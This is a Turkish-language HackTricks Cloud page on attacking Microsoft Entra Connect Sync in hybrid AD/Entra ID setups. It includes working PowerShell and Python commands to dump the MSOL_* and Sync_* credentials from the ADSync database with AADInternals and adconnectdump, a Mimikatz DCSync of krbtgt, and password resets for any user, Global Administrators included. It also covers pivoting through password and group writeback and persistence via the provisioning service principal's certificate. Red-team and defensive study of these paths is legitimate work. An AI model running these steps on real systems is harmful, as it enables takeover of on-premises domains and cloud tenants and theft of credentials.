Az - Connect Sync
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Temel Bilgiler
Belgelerden: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync), Microsoft Entra Connect’in ana bileşenlerinden biridir. On-premises ortamınız ile Microsoft Entra ID arasındaki kimlik verilerinin senkronizasyonu ile ilgili tüm işlemleri yönetir.
Sync servisi iki bileşenden oluşur: on-premises tarafındaki Microsoft Entra Connect Sync bileşeni ve Microsoft Entra ID tarafındaki Microsoft Entra Connect Sync service adlı servis bileşeni.
Kullanmak için AD ortamınızdaki bir sunucuya Microsoft Entra Connect Sync ajanının kurulması gerekir. Bu ajan AD tarafındaki senkronizasyondan sorumlu olacaktır.
.png)
Connect Sync temelde AD’den Entra ID’ye kullanıcıları senkronize etmenin “eski” Azure yoludur. Yeni önerilen yol ise Entra Cloud Sync kullanmaktır:
Oluşturulan Principals
MSOL_<installationID>hesabı on-prem AD’de otomatik olarak oluşturulur. Bu hesaba bir Directory Synchronization Accounts rolü verilir (bkz. documentation) ve bu da hesabın on-prem AD içinde replication (DCSync) izinlerine sahip olduğu anlamına gelir.- Bu, bu hesabı ele geçiren herhangi birinin on-premise domain’i ele geçirebileceği anlamına gelir.
- On-prem AD’de özel hiçbir varsayılan ayrıcalığı olmayan yönetilen bir servis hesabı
ADSyncMSA<id>oluşturulur. - Entra ID içinde bir sertifika ile birlikte Service Principal
ConnectSyncProvisioning_ConnectSync_<id>oluşturulur.
Parolaları Senkronize Etme
Parola Hash Senkronizasyonu
Bu bileşen ayrıca AD’den Entra ID’ye parolaları senkronize etmek için kullanılabilir; böylece kullanıcılar AD parolalarını Entra ID’ye bağlanmak için kullanabilirler. Bunun için AD sunucusuna kurulu olan Microsoft Entra Connect Sync ajanında password hash synchronization’ın etkinleştirilmesi gerekir.
Belgelerden: Password hash synchronization, hibrit kimliği sağlamak için kullanılan oturum açma yöntemlerinden biridir. Azure AD Connect, bir kullanıcının parolasının hash’inin hash’ini on-premises Active Directory örneğinden bulut tabanlı Azure AD örneğine senkronize eder.
Temelde tüm kullanıcılar ve parolaların hashlerinin hash’i on-prem’den Azure AD’ye senkronize edilir. Ancak düz metin parolalar veya orijinal hash’ler Azure AD’ye gönderilmez.
Hash’lerin senkronizasyonu her 2 dakikada bir gerçekleşir. Ancak varsayılan olarak parola süresi ve hesap süresi Azure AD’ye senkronize edilmez. Yani on-prem parolası süresi dolmuş (değiştirilmemiş) bir kullanıcı, eski parola ile Azure kaynaklarına erişmeye devam edebilir.
Bir on-prem kullanıcı Azure kaynağına erişmek istediğinde, kimlik doğrulama Azure AD üzerinde gerçekleşir.
Note
Varsayılan olarak
adminCountözniteliği 1 olan Domain Admins gibi bilinen ayrıcalıklı grupların kullanıcıları güvenlik nedenleriyle Entra ID ile senkronize edilmez. Ancak bu özniteliğe sahip olmayan ayrıcalıklı grupların üyeleri ya da doğrudan yüksek ayrıcalıklar atanmış diğer kullanıcılar senkronize edilebilir.
Password Writeback
Bu yapılandırma, bir kullanıcı Entra ID’de parolasını değiştirdiğinde parolaların Entra ID’den AD’ye senkronize edilmesine izin verir. Password writeback’in çalışması için AD’de otomatik oluşturulan MSOL_<id> kullanıcısına dokümanda belirtildiği gibi daha fazla ayrıcalık verilmesi gerekir; böylece AD’deki herhangi bir kullanıcının parolasını değiştirebilecek duruma gelir.
Bu, özellikle ele geçirilmiş bir Entra ID’den AD’yi ele geçirmek için ilginçtir çünkü neredeyse herhangi bir kullanıcının parolasını değiştirebilirsiniz.
Domain admin’ler ve bazı ayrıcalıklı gruplara ait diğer kullanıcılar, grup adminCount özniteliği 1 ise replike edilmezler. Ancak AD içinde doğrudan yüksek ayrıcalıklar verilmiş ve bu gruplardan hiçbirine ait olmayan diğer kullanıcıların parolaları değiştirilebilir. Örneğin:
- Doğrudan yüksek ayrıcalık atanmış kullanıcılar.
DNSAdminsgrubundan kullanıcılar.- GPO oluşturan ve bunları OU’lara atayan
Group Policy Creator Ownersgrubundan kullanıcılar, oluşturdukları GPO’ları değiştirebilirler. - Active Directory’ye sertifika yayımlayabilen
Cert Publishers Groupüyeleri. adminCountözniteliği 1 olmayan, yüksek ayrıcalıklara sahip herhangi bir diğer grup üyesi.
Pivoting AD –> Entra ID
Enumerating Connect Sync
Check for users:
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
Varsa Connect Sync configuration’ı kontrol edin:
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
Parolaları bulma
MSOL_* kullanıcısının parolaları (ve oluşturulduysa Sync_* kullanıcısının parolaları) Entra ID Connect’in yüklü olduğu sunucudaki bir SQL server üzerinde saklanır. Yöneticiler bu ayrıcalıklı kullanıcıların parolalarını düz metin olarak çıkartabilirler.\
Veritabanı şu konumdadır: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.
Tablolardan birinden yapılandırmayı çıkarmak mümkündür; bunlardan biri şifrelenmiştir:
SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;
encrypted configuration DPAPI ile şifrelenmiştir ve içinde on-prem AD’deki MSOL_* kullanıcısının parolalarını ve AzureAD’deki Sync_* kullanıcısının parolasını içerir. Bu yüzden bunların ele geçirilmesi halinde AD ve AzureAD’e privesc yapmak mümkündür.
Bu kimlik bilgileri nasıl saklandığı ve çözüldüğüne dair tam bir özet için şu konuşmaya bakabilirsiniz: full overview of how these credentials are stored and decrypted in this talk.
MSOL_*’ın kötüye kullanımı
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
Warning
Önceki saldırılarda diğer parola ele geçirilerek
Sync_*adlı Entra ID kullanıcısına bağlanılmış ve ardından Entra ID ele geçirilmişti. Ancak artık bu kullanıcı mevcut değil.
ConnectSyncProvisioning_ConnectSync_ Kötüye Kullanımı
Bu uygulama, herhangi bir Entra ID veya Azure yönetim rolü atanmış olarak oluşturulmamıştır. Ancak, aşağıdaki API izinlerine sahiptir:
- Microsoft Entra AD Synchronization Service
ADSynchronization.ReadWrite.All- Microsoft password reset service
PasswordWriteback.OffboardClient.AllPasswordWriteback.RefreshClient.AllPasswordWriteback.RegisterClientVersion.All
Bu uygulamanın SP’sinin belgelenmemiş bir API kullanarak bazı ayrıcalıklı eylemleri gerçekleştirmek için hâlâ kullanılabileceği belirtiliyor, ancak bildiğim kadarıyla henüz bir PoC bulunamadı.
Her durumda, bunun mümkün olabileceğini düşünerek, bu service principal olarak oturum açmak için sertifikayı nasıl bulacağımızı araştırmak ve onu kötüye kullanmayı denemek ilginç olur.
Bu değişikliğin Sync_* kullanıcısından bu service principal’e geçişinden kısa süre sonra yayımlanan bu [blog post](https://posts.specterops.io/update-dumping-en tra-connect-sync-credentials-4a9114734f71), sertifikanın sunucunun içinde saklandığını ve onu bulup PoP (Proof of Possession) oluşturmak ve graph token üretmek mümkün olduğunu; bununla birlikte service principal’a yeni bir sertifika ekleyebildiğinizi (çünkü bir service principal her zaman kendisine yeni sertifikalar atayabilir) ve ardından bunu SP olarak kalıcılığı sürdürmek için kullanabildiğinizi açıklıyordu.
Bu eylemleri gerçekleştirmek için şu araçlar yayımlanmıştır: SharpECUtils.
Bu soru’ya göre, sertifikayı bulmak için aracı, miiserver sürecinin token’ını çalmış bir süreçten çalıştırmanız gerekir.
Sync_* Kötüye Kullanımı [DEPRECATED]
Warning
Önceden
Sync_*adlı bir kullanıcı Entra ID’de çok hassas izinlerle oluşturuluyordu; bu izinler herhangi bir kullanıcının parolasını değiştirmek veya bir service principal’a yeni bir kimlik bilgisi eklemek gibi ayrıcalıklı işlemleri gerçekleştirmeye olanak sağlıyordu. Ancak, Jan2025’ten itibaren bu kullanıcı varsayılan olarak artık oluşturulmamaktadır; artık Application/SPConnectSyncProvisioning_ConnectSync_<id>kullanılmaktadır. Yine de bazı ortamlarda hâlâ bulunuyor olabilir, bu yüzden kontrol etmeye değerdir.
Sync_* hesabı ele geçirildiğinde herhangi bir kullanıcının (Global Administrators dahil) parolasını sıfırlamak mümkündür
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
Ayrıca yalnızca cloud kullanıcılarının parolalarını değiştirmek de mümkün (beklenmedik olsa bile)
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
It’s also possible to dump the password of this user.
Caution
Başka bir seçenek, assign privileged permissions to a service principal, bu işlemi Sync kullanıcısının permissions ile yapabilmesi ve ardından access that service principal ile privesc elde edilmesidir.
Seamless SSO
Seamless SSO’yu PHS ile kullanmak mümkündür; bu başka kötüye kullanımlara karşı savunmasız olabilir. İnceleyin:
Pivoting Entra ID –> AD
- Eğer password writeback etkinse, Entra ID ile senkronize edilmiş AD’deki herhangi bir kullanıcının parolasını değiştirebilirsiniz.
- Eğer groups writeback etkinse, AD ile senkronize edilmiş Entra ID’deki ayrıcalıklı gruplara kullanıcılar ekleyebilirsiniz.
References
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs
- https://aadinternals.com/post/on-prem_admin/
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf
- https://www.youtube.com/watch?v=xei8lAPitX8
- https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/
- https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

